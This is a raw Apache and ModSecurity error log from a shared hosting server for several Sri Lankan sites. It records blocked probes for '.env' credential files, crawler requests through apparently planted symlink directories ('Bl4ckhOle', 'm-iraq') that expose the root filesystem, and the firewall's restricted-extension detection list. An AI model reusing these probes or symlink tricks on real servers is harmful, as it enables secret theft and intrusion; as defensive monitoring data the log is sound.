[Fri Jul 17 08:23:52.978724 2026] [security2:error] [pid 1993668:tid 1993668] [client 93.152.221.13:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almZQBAi3pC6yjXGNq18kQAAAAU"]
[Fri Jul 17 08:23:52.978907 2026] [security2:error] [pid 1993668:tid 1993668] [client 93.152.221.13:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almZQBAi3pC6yjXGNq18kQAAAAU"]
[Fri Jul 17 08:23:52.979183 2026] [security2:error] [pid 1993668:tid 1993668] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almZQBAi3pC6yjXGNq18kQAAAAU"]
[Fri Jul 17 08:23:53.054244 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:53.945243 2026] [security2:error] [pid 1993668:tid 1993668] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almZQBAi3pC6yjXGNq18kQAAAAU"]
[Fri Jul 17 08:23:54.293041 2026] [security2:error] [pid 1994446:tid 1994446] [client 93.152.221.13:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "manaharasupercenter.lk"] [uri "/config/.env"] [unique_id "almZQl2NhE8i6ppze4etLgAAAAs"]
[Fri Jul 17 08:23:54.293343 2026] [security2:error] [pid 1994446:tid 1994446] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "manaharasupercenter.lk"] [uri "/config/.env"] [unique_id "almZQl2NhE8i6ppze4etLgAAAAs"]
[Fri Jul 17 08:23:54.897259 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:41118] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:55.160027 2026] [security2:error] [pid 1994446:tid 1994446] [client 93.152.221.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almZQl2NhE8i6ppze4etLgAAAAs"]
[Fri Jul 17 08:23:56.571594 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:41226] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:23:57.747514 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:23:57.957704 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:41302] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:00.728952 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:41510] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:00.786697 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.242:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almZSBAi3pC6yjXGNq18lwAAAAU"]
[Fri Jul 17 08:24:00.787027 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.242:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almZSBAi3pC6yjXGNq18lwAAAAU"]
[Fri Jul 17 08:24:00.787417 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.242:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almZSBAi3pC6yjXGNq18lwAAAAU"]
[Fri Jul 17 08:24:01.384227 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:50434] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:01.492797 2026] [access_compat:error] [pid 1993572:tid 1993572] [client 20.226.66.230:0] AH01797: client denied by server configuration: /home/ceylondigest/public_html/wp-content/uploads/wpcf7_uploads/
[Fri Jul 17 08:24:01.553887 2026] [authz_core:error] [pid 1993572:tid 1993572] [client 20.226.66.230:0] AH01630: client denied by server configuration: /home/ceylondigest/public_html/wp-content/uploads/sucuri/index.php
[Fri Jul 17 08:24:02.748123 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:03.769384 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:50586] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:04.834833 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:50668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:07.351593 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:07.425932 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:08.005586 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/signamax-products"] [unique_id "almZUA5GPQ6hs4VrfMo9XAAAAAY"]
[Fri Jul 17 08:24:08.005951 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/signamax-products"] [unique_id "almZUA5GPQ6hs4VrfMo9XAAAAAY"]
[Fri Jul 17 08:24:08.006298 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/signamax-products"] [unique_id "almZUA5GPQ6hs4VrfMo9XAAAAAY"]
[Fri Jul 17 08:24:08.944723 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZUKUJv0yl2bIgVrkMyAAAABU"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:24:08.944828 2026] [security2:error] [pid 2002425:tid 2002425] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZUKUJv0yl2bIgVrkMyAAAABU"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:24:10.701308 2026] [security2:error] [pid 1993715:tid 1993715] [client 64.62.156.52:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almZUnRlmrtCoY_COpch9gAAAAg"]
[Fri Jul 17 08:24:11.185129 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZU3t8zp89pALg8Q5khgAAAA4"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:24:11.185178 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZU3t8zp89pALg8Q5khgAAAA4"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:24:13.070735 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:13.071344 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:13.138212 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.37:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory2/node0/memory16/node0/memory139/power/"] [unique_id "almZVQ5GPQ6hs4VrfMo9XwAAAAY"]
[Fri Jul 17 08:24:13.138242 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.37:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory2/node0/memory16/node0/memory139/power/"] [unique_id "almZVQ5GPQ6hs4VrfMo9XwAAAAY"]
[Fri Jul 17 08:24:13.222739 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:16.970929 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:39768] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:17.659607 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:39790] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:18.229543 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:39836] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:18.985341 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:39878] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:19.948176 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 57.141.18.7:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory123/node0/memory69/node0/memory137/subsystem/uevent
[Fri Jul 17 08:24:21.095449 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:21.101074 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:24.622814 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:24.668540 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:27.355168 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZYnf2WrySr2miwA728QAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1924&page_105=2839
[Fri Jul 17 08:24:27.355200 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZYnf2WrySr2miwA728QAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1924&page_105=2839
[Fri Jul 17 08:24:27.761336 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:28.404867 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:31.590476 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:54082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:32.790738 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:33.866705 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 47.128.48.178:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/firmware/dmi/entries/4-2/type
[Fri Jul 17 08:24:35.222850 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:54276] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:35.473530 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:36.299164 2026] [ssl:error] [pid 1994956:tid 1994956] (5)Input/output error: [client 66.85.158.91:54374] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:39.147499 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:39.166690 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:39.924047 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:54584] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:40.363423 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/"] [unique_id "almZcF2NhE8i6ppze4etQwAAAAs"]
[Fri Jul 17 08:24:40.364182 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/"] [unique_id "almZcF2NhE8i6ppze4etQwAAAAs"]
[Fri Jul 17 08:24:40.364666 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/"] [unique_id "almZcF2NhE8i6ppze4etQwAAAAs"]
[Fri Jul 17 08:24:40.632015 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:54628] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:40.657977 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZcGidQp3SsqeycPEsPAAAAAo"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:24:40.658007 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZcGidQp3SsqeycPEsPAAAAAo"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:24:40.719854 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 57.141.18.94:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/sys/dev/char/4:33/subsystem/ttyS0/line
[Fri Jul 17 08:24:42.308645 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:34844] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:42.765318 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 3.14.69.207:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/bus/acpi/devices/device:1c/eject
[Fri Jul 17 08:24:43.216941 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZc3f2WrySr2miwA72_AAAABY"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:24:43.216985 2026] [security2:error] [pid 2005917:tid 2005917] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almZc3f2WrySr2miwA72_AAAABY"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
